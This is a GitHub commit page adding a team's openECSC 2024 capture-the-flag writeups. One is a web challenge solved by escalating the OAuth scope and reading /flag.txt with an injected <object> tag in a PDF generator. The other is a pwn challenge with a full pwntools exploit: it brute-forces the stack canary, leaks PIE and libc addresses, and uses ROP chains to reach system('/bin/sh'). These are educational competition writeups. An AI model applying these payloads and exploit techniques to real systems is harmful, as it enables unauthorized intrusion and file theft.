-
Notifications
You must be signed in to change notification settings - Fork 6
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #138 from dothidden/132-feat-add-openecsc-writeups
132 feat add openecsc writeups
- Loading branch information
Showing
6 changed files
with
569 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,7 @@ | ||
--- | ||
title: openECSC 2024 (2nd Round) | ||
date: 2024-04-28T13:34:38+03:00 | ||
description: Writeups for [openECSC 2024 (2nd Round)] | ||
place: 54 | ||
total: 914 | ||
--- |
Large diffs are not rendered by default.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,47 @@ | ||
--- | ||
title: woauth a laundry | ||
date: 2024-05-09T13:39:57+03:00 | ||
description: Writeup for woauth a laundry [openECSC 2024 (2nd Round)] | ||
author: zenbassi | ||
tags: | ||
- web | ||
--- | ||
___ | ||
|
||
## Challenge Description | ||
|
||
Welcome to our innovative business, the only ONE Laundry capable of completely sanitize your clothing by removing 100% of bacteria and viruses. | ||
|
||
Flag is in /flag.txt. | ||
|
||
Site: http://woauthalaundry.challs.open.ecsc2024.it | ||
|
||
## Intuition | ||
|
||
I'm not good with web challenges, so I was very proud when I solved this challenge, even though it was one of most solved. | ||
|
||
After logging in, I inspected the session storage. There, I immediately noticed an admin entry with the value 0. Setting its value to 1 revealed an `/admin` page with a `Generate Report` button. Pressing the button generates a POST request. After getting a response with status code `401` Unauthorised, I assumed our user does not have enough privileges. I logged out, and more carefully inspected the login process. | ||
|
||
The login consists of two requests: | ||
* first, a request to `/api/v1/creds`, which acquires the `client_id` and the `client_secret` | ||
* followed by a request to `/openid/authentication`, which authenticates the user with the given `client_id` for the given `scope` list. | ||
|
||
That scope list seemed interesting. By default, it is populated with `openid laundry amenities`. Since we desire access to a feature of the `/admin` page I intercepted the request, updated the scope list to `openid laundry amenities admin` and forwarded it. The session obtained in this manner indeed gave me access to the `Generate Report` request, which returns a PDF. | ||
|
||
We also notice a `GET` request to `/api/v1/admin` which returns some docs of the `generate_report` request: | ||
|
||
```json | ||
{"admin_endpoints":[{"exampleBody":{"requiredBy":"John Doe"},"methods":["POST"],"path":"/generate_report"}]} | ||
``` | ||
|
||
Now we're talking! The POST request made to `/generate_report` accepts an optional parameter `requiredBy`. By default, the request is made without this optional parameter, and as a result the PDF file holds the text _Required by Anonymous_. Sending the request including the `requiredBy` key with some value of our own generates the PDF with the respective value rendered in the PDF. | ||
|
||
We just have to figure out a method read the flag from the disk and load its value into the PDF. | ||
|
||
## Solution | ||
|
||
After some trial and error, I ruled out any SSTI. Inputting an HTML tag lead to it being correctly parsed, so I assumed we're dealing with a Server Side XSS. I got the flag by filling the `requiredBy` field with `<object data=\"/flag.txt\"></object>`. | ||
|
||
### Flag | ||
|
||
`openECSC{On3_l4uNdrY_70_ruL3_7h3m_4l1!_d208a530}` |
181 changes: 181 additions & 0 deletions
181
content/openECSC_2nd_round_2024/yet_another_guessing_game.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,181 @@ | ||
--- | ||
title: yet another guessing game | ||
date: 2024-05-10T16:37:39+03:00 | ||
description: Writeup for yet another guessing game [openecsc_round2_2024s] | ||
author: zenbassi | ||
tags: | ||
- pwn | ||
--- | ||
___ | ||
|
||
## Challenge Description | ||
|
||
The title says it all. Guess the secret! | ||
|
||
nc yetanotherguessinggame.challs.open.ecsc2024.it 38010 | ||
|
||
## Intuition | ||
|
||
We're dealing with a very simple binary with all protections enabled: | ||
``` | ||
RELRO STACK CANARY NX PIE | ||
Full RELRO Canary found NX enabled PIE enabled | ||
``` | ||
Reversing it doesn't take too long. It first opens `/dev/urandom` and reads 16 bytes of random data into a buffer. After that it runs a multi-step loop. Inside the loop, the player is asked to guess the random value, and the input is checked against the random value with `memcmp`. The player receives feedback based on the result of the `memcmp`. Regardless of the restul, the player is given the option to break out of the loop or loop again. | ||
|
||
There are a few key observations: | ||
1. The input from the user is received through a `read` call, which attempts to read 104 bytes into a buffer of 40 bytes. By providing more than 40 bytes of data, we cause a stack-based buffer overflow; | ||
2. The check of equality between our value and the random value is done with `memcmp`, using the length of our buffer, calculated with `strlen`. This allows us to control how much data we're checking; | ||
```c | ||
__n = strlen(buf_vuln); | ||
fd = memcmp(buf_vuln,buf_ok,__n); | ||
``` | ||
3. We're allowed to run the loop again, **even if** we successfully _guess the secret_; | ||
Using this information, we notice that a loop iteration can be used as an oracle for checking the correctness of the first byte in the secret. We can try all 255 possible values until we find the right value and then continue, using the same logic, with the next bytes. We can use this technique to guess upwards of 39 bytes from the stack, which include the CANARY and the return address of the function. As such, we bypass the CANARY, which allows us to override the return address. Furthermore, by leaking the return address, we're essentially leaking an address from the address space of the binary, which in turn enables us to find the PIE slide offset and bypass ASLR. | ||
|
||
Leaking the PIE slide offset is necessary in order to continue the attack. We don't have a **one gadget** as part of the binary, so we also need a libc leak. We can overflow another 24 bytes past the return address, which is enough to build a small ROP chain. Using ROPgadget we find a `pop rid; ret` gadget, which we'll use to call `puts@plt` on an entry from the GOT. | ||
|
||
``` | ||
0x0000000000001503 : pop rdi ; ret | ||
``` | ||
By printing the address of a known function from the GOT table, we can get a libc leak, which we can then use to call `system`. But before that, we need to do some more ROPing and unfortunately there's not enough overflow material. What we can do instead is obtain the libc leak and then return back to the `game` function and redo the whole process again! After guessing the new CANARY, we continue with the second part of the attack. The first part of the payload looks like this: | ||
```py | ||
payload = b'A' * 56 + canary + b'B' * 8 | ||
payload += p64(pop_rdi_sliced) | ||
payload += p64(puts_got_sliced) | ||
payload += p64(puts_sliced) | ||
payload += p64(game_sliced) | ||
``` | ||
|
||
For the second part of the attack, we can just use the libc offset to find the address of the system function and use it to call `/bin/sh`. The payload looks like this. [libc.blukat](https://libc.blukat.me/) is a very useful tool for getting the relative offsets of functions or even the `/bin/sh` string from libc. Here is the second part of the payload | ||
|
||
```py | ||
payload = b'A' * 56 + canary + b'B' * 8 | ||
payload += p64(pop_rdi_sliced) | ||
payload += p64(bin_sh) | ||
payload += p64(ret) # use this to align the stack for system | ||
payload += p64(system_sliced) | ||
``` | ||
|
||
## Solution | ||
|
||
Here is the full exploit: | ||
|
||
```python | ||
#! /usr/bin/env python3 | ||
|
||
from pwn import * | ||
|
||
# p = process('./yet_another_guessing_game/build/yet_another_guessing_game') | ||
# p = process(['./yet_another_guessing_game/libs/ld-linux-x86-64.so.2', \ | ||
# './yet_another_guessing_game/build/yet_another_guessing_game'], \ | ||
# env={"LD_PRELOAD": './yet_another_guessing_game/libs/libc.so.6'}) | ||
|
||
p = remote('yetanotherguessinggame.challs.open.ecsc2024.it', 38010) | ||
|
||
def runda(payload, act=b'y'): | ||
p.recvuntil(b'et!\n') | ||
p.send(payload) | ||
re = p.recvline() | ||
ret = None | ||
if b'win' in re: | ||
ret = True | ||
else: | ||
ret = False | ||
p.recvline() | ||
p.send(act) | ||
return ret | ||
|
||
|
||
def bruteforce(): | ||
runda(b'A' * 57) | ||
|
||
buf_ok = b'A' * 16 | ||
canary = b'A' | ||
for _ in range(7): | ||
for b in range(1, 256): | ||
payload = buf_ok + canary + b.to_bytes() + b'\0' | ||
ret = runda(payload) | ||
if ret: | ||
canary += b.to_bytes() | ||
break | ||
|
||
assert(len(canary) == 8) | ||
|
||
rbp = b'B' * 8 | ||
runda(b'A' * 56 + canary + rbp) | ||
|
||
ret_addr = b'' | ||
for _ in range(7): | ||
for b in range(1, 256): | ||
payload = buf_ok + canary + rbp + ret_addr + b.to_bytes() + b'\0' | ||
ret = runda(payload) | ||
if ret: | ||
ret_addr += b.to_bytes() | ||
break | ||
|
||
ret_addr = ret_addr[::-1] | ||
# print("return address: ", hex(int.from_bytes(ret_addr))) | ||
|
||
# payload = buf_ok + canary + rbp + ret_addr | ||
|
||
canary = b'\0' + canary[1:] | ||
runda(b'A' * 56 + canary) # repair the canary with the 0 byte | ||
|
||
ret_offset = 0x101483 | ||
pie_slice = int.from_bytes(ret_addr) - ret_offset | ||
# print(hex(pie_slice)) | ||
|
||
return canary, pie_slice | ||
|
||
canary, pie_slice = bruteforce() | ||
game_sliced = 0x0010128f + pie_slice | ||
puts_sliced = 0x001010e0 + pie_slice | ||
puts_got_sliced = 0x00103f88 + pie_slice | ||
pop_rdi_sliced = 0x001503 + 0x100000 + pie_slice | ||
ret = 0x101a + 0x100000 + pie_slice | ||
|
||
payload = b'A' * 56 + canary + b'B' * 8 | ||
payload += p64(pop_rdi_sliced) | ||
payload += p64(puts_got_sliced) | ||
payload += p64(puts_sliced) | ||
payload += p64(game_sliced) | ||
runda(payload, b'n') | ||
p.recvline() # skip | ||
|
||
puts_libc = p.recvline().rstrip() + b'\0\0' | ||
# print(puts_libc) | ||
puts_libc_addr = u64(puts_libc) | ||
print(hex(puts_libc_addr)) | ||
|
||
# gdb.attach(p) | ||
# pause() | ||
|
||
canary, pie_slice = bruteforce() | ||
# system_sliced = puts_libc_addr - 174656 | ||
system_sliced = puts_libc_addr - 205200 | ||
# bin_sh = puts_libc_addr + 0x1217b8 | ||
bin_sh = puts_libc_addr + 1245597 | ||
|
||
payload = b'A' * 56 + canary + b'B' * 8 | ||
payload += p64(pop_rdi_sliced) | ||
payload += p64(bin_sh) | ||
payload += p64(ret) | ||
payload += p64(system_sliced) | ||
|
||
runda(payload, b'n') | ||
|
||
# gdb.attach(p) | ||
# pause() | ||
|
||
p.recvline() # skip | ||
|
||
p.interactive() | ||
``` | ||
|
||
### Flag | ||
|
||
`openECSC{y3t_an0th3r_br0ken_gu3ssing_g4me_<3.hidden}` |
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.